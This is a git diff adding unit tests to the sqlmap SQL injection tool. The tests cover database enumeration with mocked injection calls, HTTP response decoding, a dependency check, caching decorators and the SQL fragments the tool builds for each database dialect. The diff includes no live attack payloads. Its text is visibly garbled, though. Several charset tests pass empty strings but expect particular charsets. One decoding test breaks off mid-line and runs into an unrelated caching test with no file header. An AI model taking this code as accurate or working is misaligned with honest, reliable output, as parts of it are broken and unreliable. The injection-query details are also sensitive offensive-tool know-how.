self._direct + conf.db = self._db + self.module.inject.getValue = self._gv + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + + +class TestMSSQLServerEnum(_EnumBaseMSSQL): + import plugins.dbms.mssqlserver.enumeration as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + def test_get_tables(self): + # one database (conf.db), single-column rows: getTables keys the cache by + # the db loop variable and stores the rows run through + # arrayize -> unArrayize -> safeSQLIdentificatorNaming -> sorted(). + conf.db = "appdb" + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT else [["users"], ["products"], ["customers"]] + ) + self._handler().getTables() + tables = kb.data.cachedTables + self.assertEqual(list(tables.keys()), ["appdb"]) + stored = tables["appdb"] + # value is a real sorted list (the final sort step), not an echo of input + self.assertEqual(stored, sorted(stored)) + # MSSQL qualifies bare names with the dbo schema; assert exact membership + self.assertIn("dbo.users", stored) + self.assertEqual(stored, ["dbo.customers", "dbo.products", "dbo.users"]) + + def test_get_tables_multiple_dbs(self): + # exercise the per-database keying with two DBs (conf.db = "a,b"): each db + # in the loop gets its OWN sorted table list. Rows are single-column; + # unArrayizeValue collapses each 1-tuple row to the scalar table name. + conf.db = "appdb,salesdb" + + def getValue(q, *a, **k): + if k.get("expected") == EXPECTED.INT: + return 3 + # the query carries the db name (%s substituted); route per database + if "appdb" in q: + return [["users"], ["sessions"], ["accounts"]] + return [["orders"], ["invoices"]] + + self.module.inject.getValue = getValue + self._handler().getTables() + tables = kb.data.cachedTables + # exactly the two requested databases, each mapped to its own sorted list + self.assertEqual(sorted(tables.keys()), ["appdb", "salesdb"]) + self.assertEqual(tables["appdb"], ["dbo.accounts", "dbo.sessions", "dbo.users"]) + self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) + + +# --------------------------------------------------------------------------- +# Base for Oracle/PostgreSQL/MySQL/SQLite (former test_dbms_enum_a.py) +# --------------------------------------------------------------------------- + +class _EnumBaseA(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBaseA): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +# --------------------------------------------------------------------------- +# Base + helpers for Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB +# (former test_dbms_enum_b.py) +# --------------------------------------------------------------------------- + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBaseB(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBaseB): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + self._pivot({"name": ["id", "name"], "usertype": ["7", "2"]}) + cols = self.handler.getColumns() + self.assertIn("testdb", cols) + # table key is identifier-normalized (may be schema-qualified) + tbls = cols["testdb"] + self.assertTrue(any("users" in t for t in tbls)) + colset = list(tbls.values())[0] + # the VALUE is the resolved type name, not the raw usertype number: + # proves the SYBASE_TYPES numeric->name mapping actually ran. + self.assertEqual(colset["id"], SYBASE_TYPES[7]) # "int" + self.assertEqual(colset["name"], SYBASE_TYPES[2]) # "varchar" + + def test_get_privileges(self): + # getPrivileges -> getUsers (pivot) then isDba (checkBooleanExpression). + # Drive the admin-set branch BOTH ways via the isDba oracle so the result + # is not forced by a constant-True stub. + conf.user = None + + # oracle True: every user is flagged DBA -> admins == all users + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) # users still enumerated as privilege keys + self.assertIn("guest", privs) + self.assertEqual(admins, set(["sa", "guest"])) + + # oracle False: nobody is a DBA -> admins is empty, but users still listed + _fresh_cached() + self._pivot({"name": ["sa", "guest"]}) + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_not_implemented(self): + # these intentionally return [] with a warning on Sybase + self.assertEqual(self.handler.searchDb(), []) + self.assertEqual(self.handler.searchTable(), []) + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_hostname(self): + # not possible on Sybase; just must not raise + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# SAP MaxDB +# --------------------------------------------------------------------------- + +class TestMaxDBEnum(_EnumBaseB): + display_name = "SAP MaxDB" + dirname = "maxdb" + + def _pivot(self, *value_lists): + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_dbs(self): + self._pivot({"schemaname": ["SYSTEM", "DOMAIN"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["DOMAIN", "SYSTEM"]) + + def test_get_tables(self): + conf.db = "SYSTEM" + self._pivot({"tablename": ["USERS", "TABLES"]}) + tables = self.handler.getTables() + # db key is identifier-normalized (uppercase names get quoted) + self.assertEqual(len(tables), 1) + tbls = list(tables.values())[0] + self.assertEqual(sorted(tbls), ["TABLES", "USERS"]) + + def test_get_columns(self): + conf.db = "SYSTEM" + conf.tbl = "USERS" + self._pivot({ + "columnname": ["ID", "NAME"], + "datatype": ["INTEGER", "CHAR"], + "len": ["4", "32"], + }) + cols = self.handler.getColumns() + self.assertEqual(len(cols), 1) + tbls = list(cols.values())[0] + self.assertIn("USERS", tbls) + self.assertEqual(tbls["USERS"]["ID"], "INTEGER(4)") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Microsoft SQL Server (methods NOT covered by TestMSSQLServerEnum above) +# --------------------------------------------------------------------------- + +class TestMSSQLServerExtraEnum(_EnumBaseB): + display_name = "Microsoft SQL Server" + dirname = "mssqlserver" + + def test_get_privileges(self): + # getPrivileges -> getUsers (generic, inject.getValue) then isDba. + # Exercise the admin-set branch BOTH ways via the isDba oracle. + conf.user = None + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + + # oracle True: all users flagged DBA + inject.checkBooleanExpression = lambda *a, **k: True + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set(["sa", "BUILTIN\\Administrators"])) + + # oracle False: none are DBA -> empty admin set, users still enumerated + _fresh_cached() + inject.getValue = lambda q, *a, **k: ["sa", "BUILTIN\\Administrators"] + inject.checkBooleanExpression = lambda *a, **k: False + privs, admins = self.handler.getPrivileges() + self.assertIn("sa", privs) + self.assertEqual(admins, set()) + + def test_search_table(self): + conf.db = "testdb" + conf.tbl = "users" + # in-band branch: getValue returns matching table name(s) + inject.getValue = lambda q, *a, **k: ["users"] + # capture the discovered tables instead of dumping them + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundTables = lambda tables: captured.update(tables) + self.handler.searchTable() + # at least one database mapped to the matched table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + def test_search_column(self): + conf.db = "testdb" + conf.tbl = None + conf.col = "password" + # exact match (no wildcard) so no recursive getColumns call; + # getValue returns the tables that contain the column + inject.getValue = lambda q, *a, **k: ["users"] + captured = {} + conf.dumper = _NoOpDumper() + self.handler.dumpFoundColumn = lambda dbs, foundCols, colConsider: captured.update(dbs) + self.handler.searchColumn() + # the searched column was located in at least one table + flat = set() + for tbls in captured.values(): + flat.update(tbls) + self.assertTrue(any("users" in t for t in flat)) + + +# --------------------------------------------------------------------------- +# IBM DB2 +# --------------------------------------------------------------------------- + +class TestDB2Enum(_EnumBaseB): + display_name = "IBM DB2" + dirname = "db2" + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Informix +# --------------------------------------------------------------------------- + +class TestInformixEnum(_EnumBaseB): + display_name = "Informix" + dirname = "informix" + + def test_search_db(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_search_table(self): + self.assertEqual(self.handler.searchTable(), []) + + def test_search_column(self): + self.assertEqual(self.handler.searchColumn(), []) + + def test_get_statements(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# Firebird +# --------------------------------------------------------------------------- + +class TestFirebirdEnum(_EnumBaseB): + display_name = "Firebird" + dirname = "firebird" + + def test_get_dbs_empty(self): + self.assertEqual(self.handler.getDbs(), []) + + def test_get_password_hashes_empty(self): + self.assertEqual(self.handler.getPasswordHashes(), {}) + + def test_search_db_empty(self): + self.assertEqual(self.handler.searchDb(), []) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + +# --------------------------------------------------------------------------- +# HSQLDB +# --------------------------------------------------------------------------- + +class TestHSQLDBEnum(_EnumBaseB): + display_name = "HSQLDB" + dirname = "hsqldb" + + def test_get_banner(self): + conf.getBanner = True + kb.data.banner = None + # getValue returns a single-element LIST; getBanner pipes it through + # unArrayizeValue, which must unwrap it to the scalar banner string. + inject.getValue = lambda q, *a, **k: ["HSQLDB 2.5.1"] + banner = self.handler.getBanner() + self.assertEqual(banner, "HSQLDB 2.5.1") + + def test_get_privileges_empty(self): + self.assertEqual(self.handler.getPrivileges(), {}) + + def test_get_hostname(self): + self.assertIsNone(self.handler.getHostname()) + + def test_get_statements_empty(self): + self.assertEqual(self.handler.getStatements(), []) + + def test_get_current_db_default_schema(self): + from lib.core.settings import HSQLDB_DEFAULT_SCHEMA + self.assertEqual(self.handler.getCurrentDb(), HSQLDB_DEFAULT_SCHEMA) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_decodepage.py b/tests/test_decodepage.py new file mode 100644 index 00000000000..69949416604 --- /dev/null +++ b/tests/test_decodepage.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +HTTP response decoding (lib/request/basic.py decodePage). + +Every fetched page passes through decodePage: it inflates gzip/deflate bodies, +applies the charset, and guards against decompression bombs. A regression here +silently corrupts every response sqlmap compares, so the round-trips and the +malformed-input handling are pinned here. +""" + +import gzip +import io +import os +import sys +import unittest +import zlib + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.basic import decodePage +from lib.core.common import extractRegexResult +from lib.core.data import conf, kb +from lib.core.exception import SqlmapCompressionException +from lib.core.settings import META_CHARSET_REGEX + +BODY = b"Hello plain body content 12345 - no markup here" + + +def _gzip(data): + buf = io.BytesIO() + f = gzip.GzipFile(fileobj=buf, mode="wb") + f.write(data) + f.close() + return buf.getvalue() + + +def _raw_deflate(data): + # decodePage uses zlib.decompressobj(-15) => raw deflate (no zlib header) + co = zlib.compressobj(6, zlib.DEFLATED, -zlib.MAX_WBITS) + return co.compress(data) + co.flush() + + +class TestDecompression(unittest.TestCase): + def test_gzip_roundtrip(self): + # exact equality (not just substring): the whole body must decompress unchanged + out = decodePage(_gzip(BODY), "gzip", "text/html; charset=utf-8") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_deflate_roundtrip(self): + out = decodePage(_raw_deflate(BODY), "deflate", "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + + def test_identity_passthrough(self): + out = decodePage(BODY, None, "text/html") + self.assertEqual(out, BODY.decode("utf-8")) + # the exact-equality assertions above already imply a unicode return; a separate + # type-only test would be redundant. + + +class TestCharset(unittest.TestCase): + def test_utf8_decoded_to_unicode(self): + # several distinct multi-byte sequences (2/3/4-byte) must all decode intact + original = u"café — 你好 \U0001f512" + out = decodePage(original.encode("utf-8"), None, "text/html; charset=utf-8") + self.assertEqual(out, original) + + def test_meta_charset_used_when_no_http_charset(self): + # charset declared only via (no HTTP charset) with an attribute on + # must still be honored; byte 0xC0 is 'Ð' (U+0410) in windows-1251 + page = b'\xc0\xc1\xc2' + conf.encoding = None + kb.pageEncoding = None + out = decodePage(page, None, "text/html") + self.assertIn(u"ÐБВ", out) + + +class TestMetaCharsetRegex(unittest.TestCase): + """META_CHARSET_REGEX must tolerate real-world /meta forms while staying scoped + to the head so body content can't hijack the detected charset.""" + + def _charset(self, html): + return extractRegexResult(META_CHARSET_REGEX, html) + + def test_head_with_attributes(self): + self.assertEqual(self._charset(''), "iso-8859-2") + + def test_whitespace_around_equals(self): + self.assertEqual(self._charset(''), "utf-8") + + def test_single_quotes_stripped(self): + self.assertEqual(self._charset(""), "utf-8") + + def test_http_equiv_content_type(self): + self.assertEqual(self._charset(''), "windows-1251") + + def test_header_tag_not_matched(self): + #
    is not + self.assertIsNone(self._charset('
    ')) + + def test_body_meta_not_hijacked(self): + # a meta whose content merely mentions charset= in the body must not be picked up + self.assertIsNone(self._charset('t')) + + +class TestMalformed(unittest.TestCase): + def test_invalid_deflate_raises(self): + # zlib.compress() adds a 2-byte zlib header that raw-deflate decode rejects; + # body has no " cache hit + self.assertEqual(len(calls), 1) + self.assertEqual(g([4, 5]), 9) # different content -> recomputed + self.assertEqual(len(calls), 2) + + def test_tuple_and_list_args_do_not_collide(self): + # regression: a list arg ([1,2],) freezes to ((1,2),), the raw fast key of a tuple + # arg ((1,2),); the two calls must not share a cache slot + @cachedmethod + def kind(x): + return type(x).__name__ + + self.assertEqual(kind((1, 2)), "tuple") + self.assertEqual(kind([1, 2]), "list") + + def test_kwargs_are_part_of_the_key(self): + @cachedmethod + def h(a, b=0): + return a + b + + self.assertEqual(h(1, b=2), 3) + self.assertEqual(h(1, b=5), 6) # different kwarg -> not a cache hit + + +class TestStackedMethod(unittest.TestCase): + def test_realigns_leftover_pushes(self): + td = getCurrentThreadData() + base = len(td.valueStack) + + @stackedmethod + def leaky(_): + td.valueStack.append(_) # pushes without popping + + leaky(1) + self.assertEqual(len(td.valueStack), base) # stack restored to original level + + +class TestLockedMethod(unittest.TestCase): + def test_reentrant(self): + @lockedmethod + def recursive_count(n): + return 0 if n <= 0 else n + recursive_count(n - 1) + + self.assertEqual(recursive_count(5), 15) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_deps.py b/tests/test_deps.py new file mode 100644 index 00000000000..c3224bd12e0 --- /dev/null +++ b/tests/test_deps.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Optional-dependency probe (lib/utils/deps.py, the --dependencies feature). +checkDependencies() attempts to import every supported DBMS driver and warns +on the ones missing; it must never raise regardless of what's installed. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.deps as deps +from lib.utils.deps import checkDependencies + + +class _RecordingLogger(object): + """Captures every (level, message) emitted while installed as deps.logger.""" + + def __init__(self): + self.records = [] + + def warning(self, msg, *args): + self.records.append(("warning", msg % args if args else msg)) + + def info(self, msg, *args): + self.records.append(("info", msg % args if args else msg)) + + def debug(self, msg, *args): + self.records.append(("debug", msg % args if args else msg)) + + def error(self, msg, *args): + self.records.append(("error", msg % args if args else msg)) + + def messages(self, level=None): + return [m for (lvl, m) in self.records if level is None or lvl == level] + + +class TestCheckDependencies(unittest.TestCase): + def setUp(self): + self._real_logger = deps.logger + self.rec = _RecordingLogger() + deps.logger = self.rec + + def tearDown(self): + deps.logger = self._real_logger + + def test_missing_driver_warns_with_library_name(self): + # 'CUBRIDdb' (CUBRID driver) is not on PyPI and essentially never installed, + # so the probe must hit the except branch and emit a warning naming the library. + try: + __import__("CUBRIDdb") + self.skipTest("CUBRIDdb is unexpectedly installed") + except ImportError: + pass + + checkDependencies() + + warnings = self.rec.messages("warning") + self.assertTrue(warnings, msg="no warnings captured for a missing driver") + # the CUBRID entry must name its third-party library in a warning + self.assertTrue( + any("CUBRID-Python" in w for w in warnings), + msg="missing CUBRID driver did not produce a library-naming warning: %r" % warnings, + ) + + def test_all_present_emits_all_installed_info(self): + # force every __import__ to succeed so no library is ever recorded as + # missing; the empty-missing-set branch must emit the summary info line. + try: + import __builtin__ as builtins # py2 real builtin module + except ImportError: + import builtins # py3 + + class _FakeModule(object): + __version__ = "999.0.0" + + real_import = builtins.__import__ + + def _always_succeed(name, *args, **kwargs): + try: + return real_import(name, *args, **kwargs) + except Exception: + return _FakeModule() + + builtins.__import__ = _always_succeed + try: + checkDependencies() + finally: + builtins.__import__ = real_import + + infos = self.rec.messages("info") + self.assertTrue( + any("all dependencies are installed" in m for m in infos), + msg="all-present path did not emit the summary info: %r" % infos, + ) + # and with nothing missing there must be no missing-library warnings + self.assertFalse( + any("third-party library" in w and "requires" in w for w in self.rec.messages("warning")), + msg="unexpected missing-library warning when all imports succeed", + ) + + def test_returns_none(self): + # contract: the probe is purely advisory and never returns a value + self.assertIsNone(checkDependencies()) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dialect.py b/tests/test_dialect.py new file mode 100644 index 00000000000..277e3c17ba4 --- /dev/null +++ b/tests/test_dialect.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Per-DBMS query building (the injection-engine "dialect" layer). + +These pin the exact SQL that agent.* emits for each back-end. They are the +regression net for queries.xml edits and for dialect gates in agent.py - the +kind of change that silently mis-builds a payload for one DBMS while leaving +every other green. + +Includes the SYBASE limitQuery fix: Sybase must now emit a TOP-based limited +query like MSSQL (previously it fell through and returned the query unchanged). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.enums import DBMS + + +class TestLimitQuery(unittest.TestCase): + """agent.limitQuery(num, query, field) per dialect (probed, not guessed).""" + + def test_mysql(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(0, "SELECT name FROM users", "name"), + "SELECT name FROM users LIMIT 0,1") + + def test_pgsql(self): + set_dbms(DBMS.PGSQL) + self.assertEqual(agent.limitQuery(0, "SELECT name FROM users", "name"), + "SELECT name FROM users OFFSET 0 LIMIT 1") + + def test_oracle(self): + set_dbms(DBMS.ORACLE) + self.assertEqual(agent.limitQuery(0, "SELECT name FROM users", "name"), + "SELECT name FROM (SELECT name,ROWNUM AS CAP FROM users) WHERE CAP=1") + + def test_mssql_is_top_based(self): + set_dbms(DBMS.MSSQL) + q = agent.limitQuery(0, "SELECT name FROM users", "name") + self.assertTrue(q.startswith("SELECT TOP 1 name FROM users WHERE"), msg=q) + self.assertIn("ORDER BY 1", q) + + def test_sybase_limit_fix_is_top_based(self): + # REGRESSION: the user's limitQuery fix. Sybase must now produce a TOP-based + # limited query (mirroring MSSQL), NOT the query returned unchanged. + set_dbms(DBMS.SYBASE) + q = agent.limitQuery(0, "SELECT name FROM users", "name") + self.assertTrue(q.startswith("SELECT TOP 1 name FROM users WHERE"), msg=q) + self.assertIn("ORDER BY 1", q) + self.assertNotEqual(q, "SELECT name FROM users") # the pre-fix (broken) behavior + # Sybase casts via CONVERT(VARCHAR(...)), distinguishing it from MSSQL's NVARCHAR + self.assertIn("CONVERT(VARCHAR", q) + + +class TestNullAndCastField(unittest.TestCase): + """agent.nullAndCastField('col') differs per dialect - pin each.""" + + CASES = { + DBMS.MYSQL: "IFNULL(CAST(col AS NCHAR),' ')", + # MSSQL/PGSQL casts are unbounded (NVARCHAR(MAX)/TEXT) so long values are not silently truncated + DBMS.MSSQL: "ISNULL(CAST(col AS NVARCHAR(MAX)),' ')", + DBMS.SYBASE: "ISNULL(CONVERT(VARCHAR(16384),col),' ')", + DBMS.PGSQL: "COALESCE(CAST(col AS TEXT)::text,' ')", + DBMS.ORACLE: "NVL(CAST(col AS VARCHAR(4000)),' ')", + } + + def test_per_dbms(self): + for dbms, expected in self.CASES.items(): + set_dbms(dbms) + self.assertEqual(agent.nullAndCastField("col"), expected, msg="nullAndCastField for %s" % dbms) + + +class TestHexConvertField(unittest.TestCase): + # hexConvertField differs per dialect; pin each (was a one-platform stub before) + CASES = { + DBMS.MYSQL: "HEX(name)", + DBMS.ORACLE: 